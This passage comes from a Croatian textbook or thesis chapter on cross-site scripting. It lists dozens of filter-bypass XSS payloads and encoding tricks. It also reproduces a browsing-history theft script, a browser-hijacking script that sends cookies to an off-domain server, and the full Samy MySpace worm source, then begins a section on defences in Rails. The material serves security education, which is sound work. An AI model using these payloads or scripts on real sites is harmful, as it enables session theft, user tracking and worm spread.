<INPUT type="text"

value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>

Jedna moguća ranjivost pri kojoj je moguće ubacivanje kada programer ne koristi sanirane

ulazne podatke kao dio generiranog HTML-a unutar script elementa. Pošto je tada vidljivo da

postoji pristup unutrašnjosti javascript funkcije, nije poterbno pisati html tagove već samo

javascript.

81

Ima mnogo kombinacija koje se kod ovakvih napada mogu izvesti. Neke od njih su uspješne u

zaobilaženju filtra neke nisu, neke rade kod jedne web aplikacije a ne rade kod druge i

obrnuto. Npr. može postojati slučaj gdje je potrebno ubaciti </script> kako bi se zatvorio tag, i

potom ponovno otvorio ali ovoga puta sa kodom kojeg želimo.

Kod web aplikacija koje imaju filtraciju HTML elemenata velik broj njih nije dozvoljen. Na

primjer kod nekih nisu dozvoljene riječi kao što su <script>. To znači da automatski odpadaju

pokušaji kao što su <script>alert(„XSS“)</script> ili <script>SRC

=“http://ha.ckers.org/xss.js“</script> ili <IMG

SRC=javascript:alert('XSS')>. Na prvi pogled se čini nemoguće ubaciti javascript

unutar web stranice, međutim postoje i drugi načini ubacivanja npr.:

<BODY onload="alert('XSS')"> - ne radi za sve HTML elemente.

<IMG SRC=““ onerror=“alert('XSS')“>

<[%00]img onerror=alert(1) src=a>

<i[%00]mg onerror=alert(1) src=a>

<img/onerror=alert(1) src=a>

<img[%09]onerror=alert(1) src=a>

<img[%0d]onerror=alert(1) src=a>

<img[%0a]onerror=alert(1) src=a>

<img/”onerror=alert(1) src=a>

<img/’onerror=alert(1) src=a>

<img/bilosto/onerror=alert(1) src=a>

<img o[%00]nerror=alert(1) src=a>

<img onerror=”alert(1)”src=a>

<img onerror=’alert(1)’src=a>

<img onerror=`alert(1)`src=a>

<img src=`a`onerror=alert(1)> <img/onerror=”alert(1)”src=a>

<img onerror=a[%00]lert(1) src=a>

<img onerror=a&#x6c;ert(1) src=a>

<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; > <img onerror=a&#x06c;ert(1) src=a>

<img onerror=a&#x006c;ert(1) src=a>

<img onerror=a&#x0006c;ert(1) src=a>

<img onerror=a&#108;ert(1) src=a>

<img onerror=a&#0108;ert(1) src=a>

<img onerror=a&#108ert(1) src=a>

<img onerror=a&#0108ert(1) src=a> %253cimg%20onerror=alert(1)%20src=a%253e

Još neki primjeri mogućih napadačkih nizova:

<<script>alert(1);//<</script>

<script<{alert(1)}/></script> <script>a\u006cert(1);</script>

<script>eval(‘a\u006cert(1)’);</script>

<script>eval(‘a\x6cert(1)’);</script>

<script>eval(‘a\154ert(1)’);</script>

<script>eval(‘a\l\ert\(1\)’);</script>

<script>eval(‘al’+’ert(1)’);</script>

<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>

82

<script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script>

<script>’alert(1)’.replace(/.+/,eval)</script>

<script>function::[‘alert’](1)</script>

<script>alert(document[‘cookie’])</script>

<script>with(document)alert(cookie)</script>

<img onerror=eval(‘al&#x5c;u0065rt(1)’) src=a>

<img

onerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;1&#x29;&#x

27;&#x29; src=a>

Kao što se može vidjeti iz primjera, svaki napadački niz se može napisati na vrlo mnogo

različitih načina, sve s ciljem kako bi se zaobišao filtar i kako bi se željeni rezultat prikazao

unutar web preglednika. Također za zaobilaženje filtra mogu se koristiti različiti setovi

zakova. Više o tome u nastavku.

66

Lista Eventhandlera

koje je moguće

iskoristiti u ovakvim

slučajevima:

0. FSCommand()

1. onAbort()

2. onActivate()

3. onAfterPrint()

4. onAfterUpdate()

5. onBeforeActivate()

6. onBeforeCopy()

7. onBeforeCut()

8. onBeforeDeactivate(

)

9. onBeforeEditFocus()

10. onBeforePaste() 11. onBeforePrint() 12. onBeforeUnload() 13. onBeforeUpdate() 14. onBegin() 15. onBlur() 16. onBounce() 17. onCellChange() 18. onChange() 19. onClick() 20. onContextMenu() 21. onControlSelect() 22. onCopy() 23. onCut() 24. onDataAvailable() 25. onDataSetChanged() 26. onDataSetComplete() 27. onDblClick() 28. onDeactivate() 29. onDrag() 30. onDragEnd() 31. onDragLeave() 32. onDragEnter() 33. onDragOver() 34. onDragDrop() 35. onDragStart() 36. onDrop() 37. onEnd() 38. onError() 39. onErrorUpdate() 40. onFilterChange() 41. onFinish()

66

Izvor: http://owasp

42. onFocus() 43. onFocusIn() 44. onFocusOut() 45. onHashChange() 46. onHelp() 47. onInput() 48. onKeyDown() 49. onKeyPress() 50. onKeyUp() 51. onLayoutComplete() 52. onLoad() 53. onLoseCapture() 54. onMediaComplete() 55. onMediaError() 56. onMessage() 57. onMouseDown() 58. onMouseEnter() 59. onMouseLeave() 60. onMouseMove() 61. onMouseOut() 62. onMouseOver() 63. onMouseUp() 64. onMouseWheel() 65. onMove() 66. onMoveEnd() 67. onMoveStart() 68. onOffline() 69. onOnline() 70. onOutOfSync() 71. onPaste() 72. onPause() 73. onPopState() 74. onProgress() 75. onPropertyChange() 76. onReadyStateChange(

)

77. onRedo() 78. onRepeat() 79. onReset() 80. onResize() 81. onResizeEnd() 82. onResizeStart() 83. onResume() 84. onReverse() 85. onRowsEnter() 86. onRowExit() 87. onRowDelete() 88. onRowInserted() 89. onScroll() 90. onSeek() 91. onSelect() 92. onSelectionChange() 93. onSelectStart() 94. onStart() ( 95. onStop()

96. onStorage() 97. onSyncRestored() 98. onSubmit() 100. onTimeError()

101. onTrackChange()

102. onUndo()

103. onUnload()

104. onURLFlip()

105. seekSegmentTime()

83

Svaki od njih je moguće iskoristiti ovisno o kontekstu i mjestu gdje se kod može ubaciti.

Osim String.fromCharCode() funkcije mogu se koristiti sljedeći HTML entiteti kako bi se uštedio

na duljini i mjestu.

w

Tabela 1:HTML kodiranje

Entitet Prikazani entitet

&quot; “

&apos; ‘

&lt; <

&gt; >

&amp; & Ž

Primjer: <IMG SRC=javascript:alert(&quot;XSS&quot;)>y Naravno kod napada mogu se u cijelosti koristiti samo decimalni ekvivalenti ASCII znakova:

<IMG

SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#

101;

&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Neki programeri misle ako su zasutavili uglate zagrade i navodnike da su zaustavili sve

napade. XSS se pouzdaje u web preglednik, odnosno ako preglednik može razumjeti druge

vrste metoda kodiranja dolazi se do situacije gdje će preglednik izvršiti naredbu bez ijednog

od tih znakova.

Npr, jedan običan niz kao što je <script>alert(document.cookie)</script>

U drugim bi setovima znakova izgledao sasvim drugačije:

UTF-7 +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

US-ASCII BC 73 63 72 69 70 74 BE 61 6C 65 72 74 28 64 6F ; ¼script¾alert(do

63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 BC 2F ; cument.cookie)¼/

73 63 72 69 70 74 BE ; script¾

UTF-16

FF FE 3C 00 73 00 63 00 72 00 69 00 70 00 74 00 ; ÿþ<.s.c.r.i.p.t.

3E 00 61 00 6C 00 65 00 72 00 74 00 28 00 64 00 ; >.a.l.e.r.t.(.d.

6F 00 63 00 75 00 6D 00 65 00 6E 00 74 00 2E 00 ; o.c.u.m.e.n.t...

63 00 6F 00 6F 00 6B 00 69 00 65 00 29 00 3C 00 ; c.o.o.k.i.e.).<.

2F 00 73 00 63 00 72 00 69 00 70 00 74 00 3E 00 ; /.s.c.r.i.p.t.>.

Kod ovakvih pokušaja zaobilaženja filtra, najvažnije je saznati koji set znakova koristi aplikacija. Ako

aplikacija koristi višebajtni set znakova kao što je SHIFT-JIS napadač će moći zaobići filtar

korištenjem znakova koji imaju specijalno značenje unutar znakovnog set-a koji se koristi. Npr ako se

84

od strane poslužitelja vrati sljedeći odgovor koji se sastoji od dva dijela podataka kojih je prije toga

unio korisnik:

<img src=”image.gif” alt=”[input1]” /> ... [input2]

Npr. neka aplikacija za unos1 blokira unesene podatke koji sadrže navodnike kako bi

spriječila napadača da ukine citirani atribut, a za unos2, aplikacija blokira unesene podatke

koji sadrže uglate zagrade kako bi se spriječilo korištenje bilo kakvih HTML tagova. Napadač

to može zaobići ako unese slijedeće podatke:

Unos1: [%f0]

Unos2: “onload=alert(1);

U Shift-JIS setu znakova, različite bajt vrijednosti, uključujući 0xf0 se koriste za označavanje

2-bajtnog znaka koji je sastavljen od tog bajta i sljedećeg bajta. Npr. kada web preglednik

obrađuje unos1, znak navodnika kojeg slijedi 0xf0 bajt je interpretiran kao dio 2-bajtnog

znaka i zbog toga ne ograničava vrijednost atributa. HTML parser nastavlja dok ne naiđe na

navodnik iz unosa2, koji poništava atribute, i na taj način dozvoljava da se napadačev event

handler interpretira kao dodatni atribut:

<img src=”slika.gif” alt=”? /> ... “onload=alert(1);

Kada su ove ranjivosti otkrivene u UTF-8 setu znakova, Većina web preglednika je dobila

adekvatnu zakrpu i takav napad koristeći UTF-8 set znakova više nije bio moguć. Međutim

još uvijek ovakav tip napada radi na nekim preglednicima koristeći neke druge manje poznate

setove znakova kao što su Shift-JIS, EUC-JP, i BIG5.

Zanimljiv primjer je Google propust gdje programeri nisu uzeli u obzir višestruke tipove

kodiranja zbog čega je Google jedno vrijeme bio ranjiv na XSS.

Primjer:

http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro

xystylesheet=stanford&site=stanfordit&oe=UTF-8&q=hi

Ovako slično je izgledao i Google-ov upit za pretraživanje. Može se vidjeti da tag oe=

dozvoljava promjenu kodiranja. Međutim ako se kodiranje iz primjera promjeni u UTF-7 te se

i napadački vektor napiše u tom kodrianju URL tada izgleda ovako:

http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro

xystylesheet=stanford&site=stanfordit&oe=UTF-7&q=%2BADwscript%

20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-

/script%2BAD4-x

85

Jasno je da je efekt XSS niza u ovom slučaju samo privremen i samo utječe na korisnika koji

posjećuje taj URL, ali ovo lagano može stvoriti put za krađu identiteta (phishing).

Još jedna zanimljivost koju je otkrio Kurt Huwing koristeći US-ASCII kodiranje je da US-

ASCII kodiranje koristi 7 bitova umjesto 8, pa niz izgleda na sljedeći način:

?script?alert(¢XSS¢)?/script?

URL kodiran :

%BCscript%BEalert(%A2XSS%A2)%bC/script%BE

Područje XSS koje je još uvijek relativno novo i ne istraženo do kraja su kodiranje širine

varijabli. Pomoću nekih metoda kao što su BIG5, EUC-JP, EUC-KR, GB2312, i SHIFT_JIS

moguće je stvoriti više-bajtne znakove koji su zamišljeni da podržavaju internacionalne

setove znakova. Ti znakovi se tvore od jednog ili više drugih znakova. Vrlo je teško za

predvidjeti i znati kako će ih preglednik interpretirati.

Na primjer sljedeći niz radi samo u starijoj verziji Internet Explorera:

<IMG SRC="" ALT="XSSƒ">ABCD" onerror='alert("XSS")'>131<BR>

Slovo ƒ u GB2313 setu znakova(ASCII 131 u decimalnom sustavu)započinje višebajtni znak.

Sljedeći znak a to je navodnik završi kao drugi znak u nizu višebajtnog znaka. Na kraju se niz

pretvori u sljedeće:

<IMG SRC="" ALT="XSS[multibyte]>ABCD" onerror='XSS_ME("131")'>131<BR>

Navodnik se stapa sa prethodnim znakom i tvore neki višebajtni znak. Pošto je jedan navodnik nestao,

riječ više nije zatvorena navodnicima, javlja se greška i okida se onerror događaj.

Ovakvih kombinacija i varijanti ima vrlo mnogo. Kako web preglednici sve više napreduju tako se

lista varijanti smanjuje i sve je teže pronaći ovakav propust, međutim ne znači da on ne postoji.

86

7.6 METODE XSS NAPADA

Većina ljudi uopće nije ni svjesna mogućnosti XSS napada. Razumiju da javascript malware

može ukrasti cookie ili preusmjeriti korisnika na drugu stranicu. Takvi napadi su samo maleni

dio onoga što je sve moguće učiniti kada se dozvoli izvršavanje koda na pregledniku

korisnika. Malen bug u aplikaciji može završiti krađom povijesti pregledavanja unutar

preglednika ili krađom/otimanjem usmjernika (router-a).

7.6.1 Krađa povijesti pregledavanja web stranica-(History theft)

67

Krađom povijesti pregledavanja web stranica napadač automatski dobiva mnogo informacija

o žrtvi i njezinim navikama i interesima. To omogućuje napadaču da napada na drugim

područjima, otkrije što je sve osoba pretraživala, podvaljuje lažne forme i stranice onih

servisa i web stranica koje žrtva posjećuje, širenje web-crva, slanje SPAM-a na stranice gdje

žrtva ima autentificirani pristup.

JavaScript/CSS napad na povijest pregledavanja je vrlo efektivna brute-force metoda za

otkrivanje koje web stranice je žrtva posjetila.

Tehnika napada koristi različite boje za prikazivanje veza/linkova koje su posjećene.

Stvarajući dinamičke linkove, napadač može pomoću getComputed svojstva u JavaScriptu

izvući informacije o povijesti posjećivanja/pregledavanja. Ako je URL u plavoj boji tada nije

posjećen a ako je u ljubičastoj tada je.

Primjer skripte za jedan takav napad: <html>

<body> <H3>Visited</H3>

<ul id="visited"></ul> <script>

/* A short list of websites to loop through checking to see if the victim has been

there. Without noticeable performance overhead, testing couple of a couple thousand

URL's is possible within a few seconds. */

var websites = [

"http://ha.ckers.org",

"http://jeremiahgrossman.blogspot.com/",

"http://mail.google.com/",

"http://mail.yahoo.com/",

"http://www.e-gold.com/",

"http://www.amazon.com/",

"http://www.bankofamerica.com/",

"http://www.whitehatsec.com/",

"http://www.bofa.com/",

"http://www.citibank.com/",

"http://www.paypal.com/",

];

67

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.180

87

/* Loop through each URL */

for (var i = 0; i < websites.length; i++) {

/* create the new anchor tag with the appropriate URL information */

var link = document.createElement("a");

link.id = "id" + i;

link.href = websites[i];

link.innerHTML = websites[i];

/* create a custom style tag for the specific link. Set the CSS visited

selector to a known value, in this case red */

document.write('<style>');

document.write('#id' + i + ":visited {color: #FF0000;}");

document.write('</style>');

/* quickly add and remove the link from the DOM with enough time to save the

visible computed color. */

document.body.appendChild(link);

var color =

document.defaultView.getComputedStyle(link,null).getPropertyValue("color");

document.body.removeChild(link);

/* check to see if the link has been visited if the computed color is red */

if (color == "rgb(255, 0, 0)") { // visited

/* add the link to the visited list */

var item = document.createElement('li');

item.appendChild(link);

document.getElementById('visited').appendChild(item);

} else { // not visited

/* add the link to the not visited list */

var item = document.createElement('li');

item.appendChild(link);

document.getElementById('notvisited').appendChild(item);

} // end visited color check if

} // end URL loop

</script> <H3>Not Visited</H3>

<ul id="notvisited"></ul>

<body>

</html>

Skripta prolazi kroz listu web stranica i pomoću getComputedStyle i boje određuje da li je

web stranica posjećena ili nije.

Na vrlo sličan način ponekad je moguće napraviti i skriptu za pretraživanje ključnih riječi kod

pretraživanja.

7.6.2 Intranet hakiranje

68

Čak iako korisnik koristi vatrozid nije u potpunosti siguran. Ako korisnik klikne na neki link

pokreće ugrađeni maliciozni JavaScript kod koji preuzima kontrolu nad korisnikovim web

preglednikom. JavaScript malware ubacuje Java appllet koji otkriva žrtvinu unutarnju NAT IP

adresu. Tada koristeći žrtvin preglednik kao platformu, identificira i skupi informacije o Web

poslužitelju unutar intranet mreže.

Primjer skripte za početak jednog takvog napada, odnosno za preuzimanje kontrole nad web

preglednikom:

68

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.189

88

var iframe = document.createElement("iframe");ww.syngress.com

iframe.setAttribute("src", "/");

iframe.setAttribute("id", 'watched');

iframe.setAttribute("scrolling", "no");

iframe.setAttribute("frameBorder", "0");

iframe.setAttribute("OnLoad", "readViewPort()");

iframe.setAttribute("OnUnLoad", "");

iframe.style.border='0px';

iframe.style.left='0px';

iframe.style.top='0px';

iframe.style.width=(window.innerWidth - 20) + 'px';

iframe.style.height='2000px';

iframe.style.position='absolute';

iframe.style.visibility='visible';

iframe.style.zIndex='100000';

document.body.innerHTML = '';

document.body.appendChild(iframe);

Kod stvara nevidljiv okvir preko cijelog ekrana, tako kada korisnik klikne mijenja se samo

URL okvira a dretva kontrole od strane JavaScripta ostane. Jedini minus ovoj metodi je što sa

svakim klikom URL vrijednost unutar URL trake ostaje nepromijenjena pa korisnik može

lagano uočiti da nešto nije u redu. Svakim klikom poziva se readViewPort() metoda koja

prikuplja podatke i šalje ih van domene.

/* Read data in the view port */

function readViewPort() {

/* save object for the users monitored viewport */

var watched = document.getElementById(iframe_name);

/*

Check if the users view port url has changed

If it has, a new session needs to be created and/or the

data needs to be transfered.

*/

if (current_url != watched.contentWindow.location.href) {

/* save the current url of the users viewport */

current_url = watched.contentWindow.location.href;

/* save the current url of the users viewport */

/* data is base64 encoded to make it easier to transfer inside URL's

*/

var b64_url = base64_encode(current_url);

/* save the current cookies of the users viewport */

var b64_cookies = base64_encode(document.cookie);

/* Create a new session and transfer the current data off-doamin */

var img = new Image();

img.src = off_domain + 'session/' + sessionid + "/" + b64_url + "/" +

b64_ua + "/" + b64_cookies;

/* Send the HTML data off-domain */

sendDataOffDomain(watched.contentWindow.document.body.parentNode.innerHTML);

} else { // URL has not changed. Poll the server

var script_tag = document.createElement("script");

script_tag.setAttribute("src", off_domain + "poll/" + sessionid);

document.body.appendChild(script_tag);

}

/* Loop the function and set a timeout for polling */

setTimeout("readViewPort(sessionid);",5000);

return;

} // end readViewPort

Ne tako davno, Ministrastvo unutarnjih poslova Republike Hrvatske je izdalo upozorenje za

malware koji radi sličnu stvar. Prvo preuzme kontrolu nad web preglednikom pa onda i nad

računalom odnosno korisničkim računom. Jedino što korisnik može napraviti je ručno ugasiti

89

računalo . Za njegovo otklanjanje potrebno se prjaviti kao administrator računala i ukloniti

malware pomoću nekog alata za otklanjanje malware-a.

XSS napad se može iskoristiti za mijenjanje izgleda i sadržaja stranice zbunjujući tako

korisnike. Takav napad brzo može utjecati na pojavu napada koji uključuju krađu identiteta

(phishing).

7.7 Napredni XSS vektori

7.7.1 Napadi na DNS 69

DNS napadi su se sastojali od toga da napadač koji ima vlastiti web poslužitelj i DNS

poslužitelj postavi TTL vrijednost svog DNS poslužitelja na 1 sekundu, i kada bi se žrtva

prevarom spojila na napadačev poslužitelj izvršila bi se skripta koja bi tražila od žrtvinog

preglednika ponovno spajanje za 2 sekunde. Pošto to nije moguće jer IP napadačevog

poslužitelja više nije validan, napadačev DNS odgovara sa nekom drugom IP adresom na koju

se preglednik spaja. Ono što je interesantno je da se u zaglavlju koje preglednik šalje ne nalazi

originalan cookie i Host zaglavlje još uvijek pokazuje na stranicu napadača. Preglednik još

uvijek vjeruje da je spojen na web stranicu napadača makar se spaja na neku drugu IP adresu.

Da bi se preglednik vratio u normalnu potrebno ga je ugasiti i ponovno upaliti.

Međutim ovakvi napadi danas više nisu toliko aktivni niti popularni, što zbog naprednijih i

pametnijih web preglednika što zbog toga što sami po sebi nisu zanimljivi napadačima kada

ne nanose neku veći štetu.

IMAP3

Firefox web preglednik ne dopušta korisnicima da se spajaju na neke portove. Međutim,

barem u starijoj verziji Firefox-a, spajanje na IMAP3 port je bilo dopušteno.

Protokoli temeljeni na ASCII često mogu komunicirati međusobno sve dok ne uzrokuju

greške. U tom slučaju IMAP3 može odgovoriti greškama koje HTTP nekako može prepoznati

i iskoristiti kao napadačevu prednost.

69

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.208

90

7.8 XSS crvi (WORMS) i trojani

7.8.1 Vrste XSS crva

70

XSS Warhol crv

Ovaj tip crva je konceptualan dio malware-a koji može zaraziti vrlo velik broj računala koja

su spojena na Internet u vrlo kratkom roku. Međutim u današnje vrijeme to više nije tako

često zahvaljujući sve većoj raznolikosti web preglednika, operacijskih sustava koji se koriste

na Internetu. Da bi se crv proširio na velik broj korisnika trebao bi postojati na svakom tipu

sustava.

71

Linearni XSS crv

XSS napadi se mogu lagano zajedno povezati preko više stranica i domena putem

JavaScripta. Linearni XSS crv ilustrira kako jedna ranjiva stranica može biti iskorištena da

napadne drugu stranicu, koja će opet napasti treću stranicu itd. To može funkcionirati tako

dugo dok napadač to želi ili dok mu ne nestane ranjivih stranica.

Crv se može vrlo lagano širiti od stranice do stranice, pronalaziti ranjivosti u stranicama i

iskorištavati ranjivosti točno onako kako napadač to želi.

Jedan od najpoznatijih XSS crva svih vremena bio je Samy. Samy Kamkar je 04.10.2005

napravio i pustio crva. Ono što je započelo kao šala završilo je na taj način da su stranice

najvećih svjetskih društvenih mreža morale biti ugašene. Sve ja započelo tako da je Samy

želio promijeniti statusni text svog MySpace profila iz „In a realtionship“ u neki po svom

izboru kako bi to ispala kao šala pred njegovom djevojkom. Čak i u to vrijeme pronalaženje

načina kako to napraviti nije bilo nimalo lako. Da bi ubrzao proces pronalaženja nekog bug-a

unutar myspace-a Samy je napravio HTML fuzzer i otkrio da ako se ubaci znak koji označava

novu liniju unutar JavaScript direktive još uvijek će se renderirati u nekim preglednicima:

<div id="mycode" expr="alert('hah!')" style="background:url('java

script:eval(document.all.mycode.expr)')">

MySpace je imao filtraciju navodnika, međutim Samy je upotrijebio String.fromCharCode

funkciju: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))"

style="background:url('java

script:eval(document.all.mycode.expr)')">

70

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str. 395 71

Izvor: XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE str.396

91

MySpace je također filtrirao i innerHTML a ta funkcija je Samy-iju bila potrebna za

pronalaženje korisničkog imena osobe koja gleda stranicu. To je zaobišao korsiteći eval i

spajajući nizove znakova: alert(eval('document.body.inne' + 'rHTML'));

Nakon toga potreban je bio event handler koje je MySpace također filtrirao. To je isto tako

zaobišao pomoću eval izraza:

eval('xmlhttp.onread' + 'ystatechange = callback');

Ukratko, crv je krao informacije o trenutnoj žrtvi, otkrivao tko je na njihovoj „hero“ listi,

prepravio tu informaciju, i ubacio crva u stranicu tako da sljedeća osoba koja će gledati taj

profil će isto biti zaražena crvom.

Cijeli izvorni kod crva se može vidjeti u nastavku:

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var

A=String.fromCharCode(39);function g(){var C;try{var

D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return

eval('document.body.inne'+'rHTML')}}function

getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function

getQueryParams(){var E=document.location.search;var

F=E.substring(1,E.length).split('&');var AS=new Array();for(var

O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var

AS=getQueryParams();var L=AS['Mytoken'];var

M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='htt

p://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}mai

n()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function

nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in

AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-

1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-

1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function

httpSend(BH,BI,BJ,BK){if(!J){return

false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setReq

uestHeader('Content-Type','application/x-www-formurlencoded');

J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return

true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var

S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function

getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function

getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var

V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var

Y=W.substring(0,X);return Y}function getXMLObj(){var

Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else

if(window.ActiveXObject){try{Z=new

ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new

ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var

AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var

AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var

AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+

A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function

getHome(){if(J.readyState!=4){return}var

AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.leng

th);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var

AS=new

Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=get

XMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postH

ero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var

AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new

Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['ha

sh']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processIn

terests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var

AN=getClientFID();var

BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj()

;httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=i

nvite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function

92

processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var

AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new

Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to

Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,not

hing,'POST',paramsToString(AS))}function

httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return

false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='P

OST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-formurlencoded');

xmlhttp2.setRequestHeader('Content-

Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Samy nije imao pojma da će se crv tako brzo širiti, niti da MySpace ima tako velik broj

korisnika. Zbog toga ga nije mogao ugasiti niti kontrolirati.

Sljedeća tablica prikazuje brzinu širenja crva:

Tabela 272:Širenje Samy myspace crva

Procjenjeno vrijeme Procjenjen broj zaraženih korisnika

12:35PM 10/4/2005 (početak virusa) 0 (početni broj) 1:30AM 10/5/2005 1 8:35AM 10/5/2005 222 9:30AM 10/5/2005 481 10:30AM 10/5/2005 1006 1:30PM 10/5/2005 8803 6:20PM 10/5/2005 919514 6:24PM 10/5/2005 1008261 7:05PM 10/5/2005 MySpace se gasi

7.8.2 XSS trojani

73Ovaj tip napada je mnogo ozbiljniji od mijenjanja izgleda stranice, on unutar ranjive

aplikacije ubacuje neku funkcionalnost. Namjera je da se korisnici zavaraju kako bi napravili

neke neprimjerene akcije kao što su unošenje osjetljivih podataka koji se tada prenose

napadaču. Ako je napad dobro izveden, napad može odraditi dio funkcionalnosti kao što je

prijava korisnika na sustav kako bi se teže otkrio. Vrlo dobro se uklapa u phishing tipove

napada kod kojih se korisnicima daje URL sa autentičnom aplikacijom.

72

Izvor: The Web Application Hacker's Handbook str. 365 73

Izvor: The Web Application Hacker's Handbook str. 480

93

Slika 4:Google Phishing-Trojan

94

8 Obrana od SQLi XSS u praksi

U sljedećim primjerima su pokazane neke sigurne i neizostavne metode web programiranja

kroz modul prijave i registracije korisnika, kroz nekoliko različitih popularnih programskih

jezika koje štite od SQLi i XSS napada. Svaki od programskih jezika u pozadini ima

drugačiju bazu podataka, odnosno onu koja se najčešće uz taj programski jezik koristi.

Uz Ruby on Rails se najčešće koristi Postgresql baza podataka.

Uz Javu se najčešće koristi Oracle baza podataka.

Uz PHP se najčešće koristi MySQL baza podataka.

Uz C#/ASP.NET se najčešće koristi MS SQL baza podataka.

8.1 RUBY on RAILS RUBY on RAILS je web framework temeljen na Ruby jeziku.

Ruby je dinamički, objektno orijentirani svestrani jezik, koji je nov i postaje sve popularniji.

Vrlo često se koristi u kombinaciji sa Postgresql bazom podataka.

Ruby on Rails ili skraćeno Rails je dosta sličan ASP.NET MVC frameworku. Također koristi

MVC arhitekturu, te ponekad čak i sintaksom podsjeća na ASP.NET. Ima mnogo ugrađenih

sigurnih metoda i rješenja za rukovanje sa podacima.

Ruby on Rails ima svoj vlastiti ugrađeni filter sa specijalne SQL znakove, koji će prepoznati

',“,NULL znak i prelazak u novi red (line break). Koristeći Model.find(id ) ili

Model.find_by_nešto(nešto) automatski se izvršavaju te ugrađene protumjere. Kod nekih

dijelova SQL-a, najviše kod uvjeta WHERE, connection.execute() ili Model.find_by_sql()

metode se moraju primijeniti ručno. U biti izvodi se parametriziranje. Umjesto da se

proslijede znakovni nizovi u uvjet, prosljeđuje se polje saniranih znakova:

Model.where("login = ? AND password = ?", entered_user_name,

entered_password).first

Od verzije Rails 3.0 pa nadalje počinje se koristiti Active Record. Active Record je objektno-

relacijsko mapiranje za Rails. Olakšava i automatizira rad sa baza podataka. Osim toga nudi

sigurnost i zaštitu od SQLi i XSS napada.

95

Osim toga unutar Rails-a postoje još mnoge druge metode koje mogu poslužiti za obranu od

napada, ali najviše se preporuča korištenje Active Recorda, jer je najsigurnije.

Ostale metode koje se mogu koristiti:

strip_tags() - ovo će ukloniti tagove i uglate zagrade. Valja biti oprezan!

strip_tags("neka<<b>script>alert('XSS')<</b>/script>") vraća

